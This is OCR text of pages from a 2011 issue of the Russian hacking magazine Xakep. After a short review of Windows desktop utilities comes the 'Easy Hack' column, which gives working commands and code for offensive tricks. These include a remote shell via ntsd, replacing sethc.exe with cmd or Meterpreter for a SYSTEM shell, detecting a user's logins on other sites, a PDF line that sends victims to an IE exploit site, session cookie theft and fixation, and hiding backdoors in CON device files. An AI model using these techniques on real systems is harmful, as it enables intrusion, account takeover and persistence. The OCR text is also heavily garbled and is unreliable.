книги хакеры / журнал хакер / 152_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Управление
окнами
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Возможностьоконприлипатькправойилевойчастиэкрана— удобнейшаяштукаWindows 7, которой япользуюсьпостоянно. Удивительно, какнебольшаядоработкаповеденияокнаможетувеличитьпро-
дуктивностьработы. Ноэтонеединственнаявозможностьпрокачатьповедениеокон, естьидругиехаки. Конечно, безнихможнообойтись. Нозачем? Сними-толучше.
Desktops
bit.ly/dHzGj8
То, чтоможетпомочь, нопокакой-тоне- понятнойпричиненапрочьотсутствуетв системе— этовиртуальныерабочиестолы. Правда, Microsoft всежевыложиланасайте утилитуDesktops (кслову, написаннуюсамим МаркомРуссиновичом, виднейшимспециалистомповнутреннемуустройствуWindows). Desktops поддерживаетдочетырехвиртуальныхрабочихстоловипредлагаетпереключатьсямеждунимиприпомощигорячих клавишилииконкивтрее. Важно, чтоперед подключениемдоступенпредварительный просмотрвсехрабочихстолов.
360desktop
www.360desktop.com
Программапредлагаетещеодин способувеличитьпространство рабочегостола, новместодискретныхвиртуальныхэкрановтут используетсяпринципвращающегосябарабана. Накаждойчастиего поверхностинаходятсясвоиобъекты, окна, ярлычки— итыможешь плавноперемещатьсяпонему, имеяпередглазамипревьюшку всего, чтонанемнаходится. Это можетзвучатьдико, нонаскриншотепонятно, чтоэтооченьудобный подход.
Fences
www.stardock.com/products/fences
Немогунеупомянутьоченькачественнуюутилиту, котораяможетнавестипорядокнарабочемстоле. Вообще, еслипосмотреть, топользователиразделяются надватипа: те, укоторыхвсегдаидеальныйпорядокна рабочемстоле, ите, укоторыхтамтворитсяполныйхаос. Этапрогапоможетитем, идругим.Fencesпозволяет нанестинарабочийстолспециальныеобласти, представляющиесобойконтейнерыдляярлыков. Ихможно какугодноперемещатьпоэкрануилиизменятьразмер, анаходящиесявнихиконкибудутповторятьтеже самыедвижения. Врезультате, всесвоиярлычкиможно разбитьнакатегориииразместитьвразныхобластях, чтодобавитнемалоудобства. ЕстьуFences идругая интереснаяопция: двойнымкликоммышипорабочему столуможноспрятатьсэкранавсеконтейнерыииконки, послечеготемжедвижениемвернутьвсенаместо.
Хакидля рабочегостола
Какникрути, пространстворабочегостолавесьмаограничено, ичтобынезажиматьсявегорамкахприходитсяидтинанекоторыеухищрения. Идеальнымвариантомбылабыустановкадополнительныхмониторов, но, еслитакойвозможностинет, вполнеможнообойтисьбезкаких-либодополнительныхзатрат.
AcerGridvista
bit.ly/qrSL2q
Этаутилитаразделяетэкраннадве, трииличетыре секции, кудатыможешьперенестиdrag & drop’ом любоеокно. Этодействительнополезныйхакдля всехвладельцевбольшихмониторов, которыйразработалакомпанияAcer. Смыслвтом, чторазмеры окнаавтоматическиподгоняютсяподвыделенную область, аегоместорасположениесохраняется. В результатеокноавтоматическипоявляетсятам, где нужно, истемиразмерами, которыетебенужны.
Switcher
insentient.net
СпомощьюSwitcher тысможешьпереключатьсямеждуокнамисистемынамногоэффективнее. Идеявтом, чтотыможешьнаодномэкране увидетьвсеокнаодновременноибыстровыбратьнужное. Практическиточнотакже, какэто сделановMac OS X. Приэтомгорячиеклавишы, которыеподдерживаютсяпрограммой, помогут переключатьсямеждуокнамигораздобыстрее.
eXtraButtons
www.xtrabuttons.com
Послеустановкиэтойтулзы, взаголовкеокна помимопривычныхтрехкнопок(«свернуть», «развернутьнавесьэкран», «закрыть»)
появитсяеще9 дополнительныхэлементов, в томчиследляприданияокнуэффектапрозрачностиили, кпримеру, сворачиванияеговтрей (работаетдлялюбогоприложения).
XÀÊÅÐ 09 /152/ 2011 |
039 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
|
||||
|
|
|
|
|
m |
Тюрин «GreenDog» Алексей (agrrrdog@gmail.com) |
|||||||
|
|
|
|
|
|
||||||||
w |
|
|
|
|
|
|
|
|
|
||||
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
Easy Hack Хакерские
секреты
простых
вещей
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
¹ 1 ЗАДАЧА: ПОДНЯТЬ СТАНДАРТНЫМИ СРЕДСТВАМИ УДАЛЕННЫЙ ШЕЛЛ ПОД WINDOWS.
РЕШЕНИЕ:
Недавновычиталинтересныйспособдлябыстройорганизациишеллдоступаналюбомпорту. Задачавыглядитпростой, ноеслиограничиватьсятолькостандартнымивозможностямиОС, торабочихспособовне такужимного. Аэтот— простилаконичен:). Намашине, доступккотороймыхотиморганизовать, нужновыполнитьвсеголишьоднукоманду:
ntsd --server tcp:port=4444 calc.exe
NTSD — Microsoft NT Symbolic Debugger, какясноизназвания, вхо-
дящий«впоставку» сОСдебаггер. Фактическирасполагаетсяонв %Windows%\system32. Даннойкомандоймызапускаемntsd наотладку калькулятора(calc.exe), хотядлянашейзадачиподойдетлюбоедругое приложение. Параметр-server указывает, чтомыподнимаемсервердля удаленнойотладкиприложениянапорту4444 (tcp:port=4444). Теперьвсе готоводлянашегоудаленногоподключения. Ксожалению, обычным netcat’омнеподключиться, потомунампотребуетсяещёодинntsd:
ntsd -remote tcp:server=192.168.138.128,port=4444
Здесьинтуитивнопонятныйинтерфейсиясно, чтопараметром-remote указывается, чтопроисходитподключениекудаленномусерверус соответствующимадресомнапорт4444. Всечтонампотребуетсяпосле подключения— этоввестиследующуюкоманду:
¹ 2 ЗАДАЧА: ПОЛУЧИТЬ ШЕЛЛ С ПРАВАМИ SYSTEM, ИМЕЯ ФИЗИЧЕСКИЙ ДОСТУП К ПК.
РЕШЕНИЕ:
ПродолжимтемутонкостейОСWindows. Пару-тройкуномеров назадяписалпрото, какможновыдратьизкэшавиндыучетки пользователей, которыевнейлогинились. Способылокальногоповышенияправоснованынатакойфиче, чтовбезопасном режимевсистемуможнозайтиподлокальнымадмином, даже еслиданнаяучетнаязаписьбылаотключенадоменнойполитикой. Этотспособ— рабочий. Нонетакойэлегантный, какхотелосьбы,
потомучтоследовотзаходаподадминомостаетсяоченьмного. Что делать? Естьальтернативныеварианты.
1.ЗагружаемсяслюбогоLiveCD имонтируемфайловуюсистемус виндой. Далее, еслимыпростохотимстыритьлокальныеучетки икэшихэшейвходоввОС, топростокопируемфайлыреестраиз
%Windows%\system32\config.
2.Еслиженамхочетсячего-тоболееинтересного, топодменяем
Эмуляция удаленного подключения к отладчику с доступом к шеллу
.shell
Готово! Унасполноценныйдоступкконсоли, чегомыихотели.
Кминусамэтогоспособаможноотнестито, чтотулзаntsd былаубранаиз Windows 7 и2008. Хотявкачествеклиентаееможнобесплатноскачатьс сайтаMS иустановитьнасемерку.
Изплюсов— решениеиспользуеттолькостандартныевозможности Windows и, разумеется, непалитсяантивирусами. Кромеэтого, ntsd можнозапускатьподобыкновеннымпользователем.
системныефайлы. Либоsethc.exe, либоuntilman.exe. Почемуих, спросишьты? Узнаешьпозднее:). Обафайлалежатв%Windows%\ system32, подменитьихможнолибонатотжеcmd.exe, либона exe’шникMeterpreter изMSF, либоначто-тоеще(взависимости оттвоихцелей).
3. Послеперезагрузкикомпьютерамывидимэкранлогина. Далее— магия:). Пятьразжми<Shift> — запуститсяподмененныйsethc.exe, тоесть«обработчик» залипанияклавиш. Нажимай<Win+U> (либокнопочкувуглу) — запуститсяподмененный untilman.exe, тоесть«специальныевозможности».
4.Всамомпростомвиде, еслиподменабыланаcmd.exe, топеред тобойвыскачетконсоль. Ещеразуточню— этобеззаходавсистему. Нуисамоехорошее: праваунасбудутNT AUTHORITY/SYTEM, то естьмаксимальные.
5.Конечно, лучшеподменятьфайлынаmeterpreter. Снехитрыми манипуляциямионбудетоставатьсяактивнымпривходевсистему пользователя, аунаспоявитсявозможностьполнофункциональногоудаленногодоступа.
Резюмируявышесказанное: физическийдоступккомпу— это почти100% WIN!
040 |
XÀÊÅÐ 09 /152/ 2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
DVD |
dvd
Всеописанныепрограммысовсейрубрикиищинадиске.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
¹ 3 |
ЗАДАЧА: ОПРЕДЕЛИТЬ, НА КАКИХ САЙТАХ |
|
АВТОРИЗИРОВАН ПОЛЬЗОВАТЕЛЬ. |
||
|
РЕШЕНИЕ:
ДанныйвыпускEasyHack посвященскореевсякимтонкостямилегким извращениям, чемконкретному, хардкорномувзлому, лобовыматакам. Ноясчитаю, чтоэтодажеинтересней. Ведьконкретныеуязвимостии дыркиПОможнозакрыть, авотархитектурныенедоработкиилинекорректноеиспользованиелегитимногофункционалапоправитьтрудно. Новернемсякнашейзадаче. Какузнать, накакихресурсах(Gmail, Twitter, Facebook ит.д.) авторизованпользователь? Mike Cardwell (goo. gl/FIO8a) отыскалинтересныйспособ. Сутьпроста— пользовательзаходитнанашустраницу, ирасположенныйнанейяваскриптделаетзапроснасервер, авторизациянакоторомнасинтересует. Запросдолжен бытьтаким, чтобынеавторизованныйпользовательвиделошибку(404, 500 ит.д.), аавторизованный— нормальныйответ(200). Покодуответа иопределяетсясостояниеавторизациипользователя.
Вариантовреализациивзависимостиотситуациибылопредложенодва.
ДляGmail, гдезагрузкаипросмотризображенийвозможнытолько дляавторизованныхпользователей, — всепростоиработаетнавсех браузерах:
<img style="display:none;" onload="logged_in_to_gmail()" onerror="not_logged_in_to_gmail()"
¹ 4 ЗАДАЧА: СМЕНИТЬ БРАУЗЕР ПОЛЬЗОВАТЕЛЯ, ИСПОЛЬЗУЯ PDF.
РЕШЕНИЕ:
Представьследующуюситуацию. Мызатащилижертвунанашзлой сайт, ноюзериспользуетбраузер, подкоторыйунаснетсплоита— например, Chrome. Какзаразитьтакогопользователя? Дляданной ситуацииестьоднаинтереснаяметодика, основаннаянатом, что IE остаетсябраузеромпоумолчаниюумногихпользователей, вне зависимостиоттого, вкакомбраузереонипроводятбольшуючасть времени. Оченьчастоэтаситуациясправедливадлякорпоративных сетей, вомногихизкоторыхвсеещестоятстарыеверсииIE сзапретомсменыбраузерапоумолчанию. Таквот, заманивпользователяк намнасайт, мыможемвоспользоватьсяновымтрикомиприпомощи специальногоPDF-файлазаставитькомпьютерпользователяот- крытьлюбуюстраницучерезIE. Всечтонужносделать— этопро- писатьвPDF-файлеследующийкод:
app.launchURL("http://exploit-for-ie.com/",true);
Здесьдолжнобытьвсепонятно. МыуказываемAcrobat Reader’у
вяваскрипте, чтоследуетоткрытьновоеокнопоссылке. Первый параметрAPI-вызова— URL открываемогосайта. Второй— открыть
вновомокне.
src="https://mail.google.com/mail/photos/img/photos/ public/AIbEiAIAAABDCKa_hYq24u2WUyILdmNhcmRfcGhvdG8qKDI1 ODFkOGViM2I5ZjUwZmZlYjE3MzQ2YmQyMjAzMjFlZTU3NjEzOTYwAZwS Cm_MMUDjh599IgoA2muEmEZD"
/>
Итак, мыподгружаемскрытоеизображение. Еслипользовательзалогиненвсистеме, тособытиеonload отработает, таккакизображениеможет бытьподгруженобраузером, иonerror виномслучае(серверредиректит настраницулогина). СамоизображениележитнаGmail. Втомслучае, еслинетвозможностиработатьсизображениями, можнопопробовать подгрузкуhtml-страниц.
<script type="text/javascript" src="https://twitter.com/ account/use_phx?setting=false&format=text"
onload="not_logged_in_to_twitter()"
onerror="logged_in_to_twitter()" async="async"
></script>
НоэтотспособнебудетработатьсIE иOpera, таккаконимогутподгружатьтолькокорректныеяваскрипты, тоестьonload унихнебудет срабатыватьдажеприпозитивномзаголовкесервера.
Вчемпрактическаяпользаэтогохака? Конечно, набольшинствекрупныхсайтовможнонайтинекиезакуткиииспользоватьданнуюметодику. Нокроменебольшогораскрытияинфыопользователе— пользыникакой. Хотя, еслисовместитьэтотхаксдругимитехниками, товозможнои получитсячто-тодельное:).
Сутьатакивтом, чтомыперенаправляемпользователясхромомна даннуюPDF, аPDF, запустившисьвAcrobat Reader’е, откроетновое окноспомощьюбраузерапоумолчанию(внашемслучаеIE). Пример работыэтоготрюкаможнозаценитьздесь: bit.ly/pSuNmj. Предвосхищаятвоимысли, сразууточню, чтоеслизапуститьтакуюPDF’кус локальногодиска, топоявитсяуведомительноесообщение, которое спалитвсюзатею.
Из FireFox через PDF в IE
XÀÊÅÐ 09 /152/ 2011 |
041 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
ВЗЛОМ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
¹ 5 |
|
ЗАДАЧА: |
|
|
|
НАУЧИТЬСЯ КРАСТЬ СЕССИИ ИЗ HTTPS. |
|
|
|
РЕШЕНИЕ: |
|
|
|
|
Принятосчитать, чтопротоколHTTPS — этонекаявсесильнаятех- |
|
|
||
нология, позволяющаязащититьпользователяиотфишинга(за |
|
|
||
счетпроверкиподписисервера), иотперехвататрафика(засчет |
|
|
||
использованиясредствшифрования). Конечно, протоколхорош, |
|
|
||
ноивсамомSSL’е(сверсии3 — TLS), ивегопрактическихреали- |
|
|
||
зацияхестьмногопроблем. Плюсеслираньшевсепонимали, что |
|
|
||
HTTP небезопасен, ибылиосторожны, тосдовериемкHTTPS’у, в |
|
|
||
определенныхситуацияхузлоумышленниковтеперьдажебольше |
|
|
||
шансовнауспех, чембылораньше. Впрошломномереяписал |
|
|
||
проонлайн-сервисдляпроверкисайтов. Продолжаятему, япо- |
|
|
||
стараюськоснутьсяосновныхпроблемпротоколаHTTPS вэтоми |
Сессиные куки, отсутствие флага Secure, |
|||
следующихвыпусках. |
||||
Итак, давайвспомним, какпроисходитавторизацияпользователя |
поле Domain на все поддомены |
|||
набольшинствепорталов. Привходенасайтпользовательвводит |
|
|
||
логинипарольвформочке, послечегоотправляетзапросна |
платитдважды. Вэтомслучаевсечтонамнужнодляперехвата |
|||
сервер. Серверпроверяетданные, иеслиониправильны, топри- |
кукисов— этоподождать, покапользовательобратитсякнезащи- |
|||
сваиваетданномупользователюнекийслучайныйидентификатор |
щеннойчастисайта. Кукипередадутсявоткрытомвиде, имылегко |
|||
сессии. Этотидентификаторсерверпосылаетпользователю, как |
получимкнимдоступ. |
|||
полевзаголовкеответа, еслиточнее— вкукисах. Далее, бродяпо |
2. Активныйметод. Еслидоменвкукисахзаданточноиправильно, |
|||
сайтуикликаяпоссылкам, пользователь, кромеURL’овотправляет |
тонамследуетпоискатькакие-нибудьдругиеоткрытыепортына |
|||
взапросахксерверуикукисидентификаторомсессии. Тоесть, как |
данномсервере. Портподойдетлюбой. Например, оченьчасто |
|||
мывидим, парольпередаетсятолькоодинраз. Секьюрно:). |
бывает, что80 портнаhttps-номдоменеоставляют, нанемвисит |
|||
Ноеслимыперехватимидентификаторвкуках, то, подставивих |
редиректна443 порт. Такойвариантнамотличноподойдет. |
|||
всвойбраузер, свободносможемвыполнятьлюбыекомандыот |
ТребуетсядождатьсялюбогоисходящегоHTTP-запросаотполь- |
|||
именипользователя, чьикукимыукрали. |
зователя. Послеэтогонеобходимоподменитьответвеб-сервера, |
|||
Давайпредставим, чтомысмоглиприблизитьсядостаточноблизко |
добавивiframe (например) соссылкойнаатакуемыйсервер, нос |
|||
кжертве: например, сидимснейнаоднойточкедоступаW-Fi и |
нестандартнымпортом(80 внашемпримере). Браузерпользова- |
|||
провелиMan-in-the-middle-атаку. Посколькупользовательрабо- |
теля, увидевiframe, подключитсянаэтотнестандартныйпорти |
|||
таетссайтомпоHTTPS, тодажееслимысможемотснифатьтрафик, |
первымжезапросомпередаствсесвоикукивоткрытомвиде. |
|||
навыходеполучимлишьзашифрованныйдамп. Чтожеделать? |
Спрактическойточкизренияпортможетбытьлюбым, нонеочень |
|||
Нужнопосмотреть, присутствуетлифлагSecure приустановке |
хорошоюзатьстандартныепортытипа21, 22, 25, 110, таккак |
|||
сессионногоидентификаторавCookie. Этотфлагуказываетна |
исходящиезапросынанихвнекоторыхбраузерах(например, в |
|||
возможностьпередачикукисовтолькочерезHTTPS. Еслифлагне |
Firefox) заблокированы. |
|||
установлен, тонамповезло, исуществуетпараспособовдлякражи |
Хотелосьбыещеразотметить, чтосданнымфлагом— Secure — |
|||
такихкукисов. |
|
уоченьмногихкомпанийпроблемы. Какпоставитьэтотфлаг? |
||
1. Пассивныйметод. Оченьчастобывает, чтонасайтетолькоодин |
Во-первых, установитьегоможетпрограммист, четкоуказавэтов |
|||
поддомензащищенHTTPS, нокукиустанавливаютсянавсепод- |
приложении. Во-вторых, можнонастроитьобязательнуюустановку |
|||
домены, втомчислеинанезащищенныеHTTPS. Такпоступаютиз |
науровневеб-сервера. Какпример, вApache Tomcat до6.20 флаг |
|||
соображенийпроизводительности, иэтототслучай, когдаскупой |
Secure требуетсязадаватьвручную. |
|||
|
|
|
|
|
|
|
|
|
|
|
¹ 6 |
ЗАДАЧА: ПОДМЕНИТЬ |
зависитотразмероватакуемойсистемыииспользуемыхтехнологий. |
|
|
ПОЛЬЗОВАТЕЛЬСКУЮ СЕССИЮ. |
Алгоритмжеатакивобщемвидетаков: |
||
|
||||
|
|
|
1) Злоумышленниквходитнаатакуемыйсайтиавторизуетсянанем. |
|
РЕШЕНИЕ: |
|
2) Злоумышленникполучаетсессионныйидентификатор. |
||
Уописываемойтехникиестьстандартноеназвание— Session_Fixation |
3) Злоумышленникподкидываетнеавторизованномунасервере |
|||
|
(bit.ly/nMswUp). Сутьеезаключаетсявтом, чтобыпривязатьатакуе- |
пользователюссылкунаскриптссервера, которыйустанавливаеткуки |
||
|
могопользователякконкретнойсессии, значениекоторойнамуже |
сидентификаторомзлоумышленника. |
||
|
известно. |
|
4) Пользовательавторизуетсявсистеме. |
|
|
Дляреализацииданнойатакинамтребуетсясоблюдениедвух |
5) Злоумышленниквходитвсистемуподпользователем, таккакему |
||
|
условий. Во-первых, некийскриптнаатакуемомсервере, который |
известенсессионныйидентификатор. |
||
|
позволяетврезультатеобработкивходныхданныхотдаватьвответе |
Какмыможемвидеть, унасполучаетсязахватпользовательской |
||
|
заданныйсессионныйидентификатор. |
сессии. Чтоприятнодлянас— реализоватьэтоможноипоHTTP, ипо |
||
|
Во-вторых, привходепользователявсистемунедолжнаосущест- |
HTTPS. Вкачествеместадляэкспериментовмогупредложитьтебе |
||
|
влятьсяпереинициализациясессионногоидентификаторапользо- |
проектWebGoat отOWASP’а(bit.ly/jeqeOF). Этоавтономныйвеб-сервер |
||
|
вателя. Какчастовозникаюттакиеслучаи? Ябысказал, чтомногое |
сгруппойуязвимыхскриптовподразличныеуязвимости. |
042 |
XÀÊÅÐ 09 /152/ 2011 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Но с помощью колдовства файлы устройств даже запустить можно
¹ 7 |
ЗАДАЧА:СОЗДАТЬ НЕУДАЛЯЕМЫЙ |
ФАЙЛ ПОД WINDOWS. |
РЕШЕНИЕ:
Конечно, неудаляемыхфайловнебывает:). Новотзатруднитьудалениефайлатак, чтобезгугланесправиться— этоможно. Зачемможет понадобитьсятакаявозможность? Например, длятогочтобызакачанныйшеллилибэкдорнеудалили.
Способзаключаетсявтом, чтонашуинформациюмыбудемхранить
вспециальныхфайлах— файлахустройств. Онипоявилисьещев далекиевременаDOS’аи, поидее, использовалисьдляпрямого обращениякустройствам(люди, жившиевтовремя, новсееще читающиежурнал«Хакер», могутменяпоправить:). Сучетомbackward capability — этифайлыестьещевовсехWindows. Есликонкретнее, то файлыэти— CON, AUX, COMx, NUL, PRN, LPTx, CLOCKx (гдеx — число от1 до9). Смыслбольшинстваизних, ядумаю, ясен. Основнаяфича
втом, чтоихнесоздатьобычнымобразом, асоздав— неудалить. И
запускаются/читаютсяонитоженестандартно. |
Файлы устройств просто так прочитать нельзя |
Ноперейдемкделу. Чтобысоздатьфайл, нампотребуетсянаписатьв |
|
консоли: |
|
Copy file.txt \\.\c:\CON
Такимобразом, мыможемсоздаватьфайлыустройствизаписыватьв нихинформацию. Самоепростое— закинутьданныесначалавfile.txt. ПутьдоCON лучшеуказыватьполный. Выводинформацииосуществляетсяаналогично, нонаоборот.
Copy \\.\c:\CON file.txt
Носамоеинтересноевтом, чтомыможемположитьвфайлустройства exe’шник. Например, длянаглядностияположилвCON cmd.exe:
copy c:\windows\system32\cmd.exe \\.\c:\CON
Самаяжеглавнаямагияпроисходит, когданамтребуетсязапустить такойCON-cmd.exe:
wmic process call create \\.\c:\CON
Что приятно, данная фича работает и в Windows XP и в 7. А если мы закинем файл в какую-нибудь системную папку, то спрятанный бекдорчик совсем не будет вызывать подозрений. Жаль только, что для антвирусов данные файлы совсем не проблема. z
XÀÊÅÐ 09 /152/ 2011 |
043 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
BUY |
|
|
|
|
|
ВЗЛОМ |
|
||||
|
|
|
|
|
m |
iv (ivinside.blogspot.com) |
|||||||
|
|
|
|
|
|
||||||||
w |
|
|
|
|
|
|
|
|
|
||||
|
w |
|
|
|
|
|
|
|
o |
|
pikofarad (115612, дер. Красная звездочка, д.1) |
||
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
ОБЗОР ЭКСПЛОИТОВ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
